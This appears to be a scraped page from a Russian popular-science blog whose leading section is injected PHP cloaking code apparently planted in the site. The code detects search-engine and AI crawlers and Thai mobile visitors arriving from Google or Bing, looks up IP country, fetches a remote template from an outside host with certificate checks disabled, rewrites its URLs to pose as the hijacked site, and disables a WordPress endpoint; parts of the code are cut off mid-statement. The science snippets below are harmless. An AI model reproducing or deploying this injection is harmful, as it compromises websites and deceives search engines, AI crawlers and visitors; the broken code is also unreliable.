$API_URL = 'https://id.yuanhengbc.com/th100';
$scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$MY_DOMAIN = $scheme . '://' . $host;
function rewrite_remote_urls($html, $api_url, $my_domain) {
if (empty($html)) return $html;
$orig_host = parse_url($api_url, PHP_URL_HOST);
$my_host = parse_url($my_domain, PHP_URL_HOST);
$html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html);
$html = str_replace(
array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host),
array($my_domain, $my_domain, '//' . $my_host),
$html
);
$html = preg_replace(
'/ true,
CURLOPT_TIMEOUT => 15,
CURLOPT_USERAGENT => $ua,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
));
$body = curl_exec($ch);
curl_close($ch);
return $body;
} else {
$ctx = stream_context_create(array(
'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true)
));
return @file_get_contents($final, false, $ctx);
}
}
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ref = $_SERVER['HTTP_REFERER'] ?? '';
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
if ($ua === '') $ua = ' ';
$bot_list = array(
'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile',
'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool',
'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon',
'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview',
'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot',
'anthropic-ai','DuckDuckBot','DuckAssistBot'
);
$is_bot = false;
foreach ($bot_list as $b) {
if (stripos($ua, $b) !== false) { $is_bot = true; break; }
}
$is_mobile = false;
foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) {
if (stripos($ua, $m) !== false) { $is_mobile = true; break; }
}
$is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false));
$is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1);
function check_ip_country() {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
$ip = trim(explode(',', $ip)[0]);
if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL';
$ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip));
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'),
));
$resp = curl_exec($ch);
curl_close($ch);
if ($resp !== false) {
$j = json_decode($resp, true);
if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code'];
}
$ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode');
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
));
$resp = curl_exec($ch);
curl_close($ch);
if ($resp !== false) {
$j = json_decode($resp, true);
if (isset($j['countryCode'])) return $j['countryCode'];
}
return 'UNKNOWN';
}
if ($is_bot) {
$body = fetch_remote_template($API_URL, $ua);
echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
exit;
}
if ($is_mobile && $is_google && $is_th_lang) {
if (check_ip_country() === 'TH') {
$body = fetch_remote_template($API_URL, $ua);
echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN);
exit;
}
}
add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; });
Игры разума — Страница 2 — Вечный путь к совершенству
Skip to content
На этой фотографии максимальнo черная субстанция. А точнее баскетбольный мяч, обработанный веществом Vantablack. Его структура из…
На поверхности земли яйцо без скорлупы просто растеклось бы, но на глубине 18 метров под водой…
Подобный эффект возникает благодаря суспензии диоксида титана в пропиленгликоле, добавляемого к воде. В результате меняется поверхностное…
Мыльный пузырь – это самая тонкая материя, которую может увидеть человеческий глаз. Мыльный пузырь лопается за…
Мяч на самом деле полетит! Это происходит благодаря эффекту Магнуса. С одной стороны вращающегося объекта воздух…
Капли принца Руперта (или Батавские слёзки, также болонские склянки) — застывшие в холодной воде капли расплавленного…
Для письма и рисования на поверхности магнитно-маркерной доски, подходят только специальные маркеры сухого стирания. Чернила в…
В два бокала налили три прозрачных жидкости с разной плотностью (снизу вверх): хлороформ, воду и этилацетат.…
Одна капля яда гадюки, попавшая в кровь, заставляет ее свернуться и превратиться в густое желе, и…
При взаимодействии натрия с водой образуется гидроксид натрия, среда становится щелочной. Ннатрий реагирует очень бурно, помещённый…
Видишь, что случилось с шарами? То же самое произошло бы с твоими лёгкими, если бы рядом…
Удивительное зрелище: такое впечатление, что магниты дрессированные, как четко и быстро они собираются в цилиндр. И…
Может! И называется это явление — Тройная точка. Оно происходит, когда температура и давление точно соответствуют…
Не верите учителю, когда он говорит, что сумма квадратов катетов равна квадрату гипотенузы? Это можно доказать…
Для этого нужно при помощи пальцев создать отверстие, которое поможет вам сфокусировать свет, падающий на сетчатку.…
Когда звезда падает в чёрную дыру, наружу вырывается мощный пучок плазмы, покрывая расстояние в сотни световых…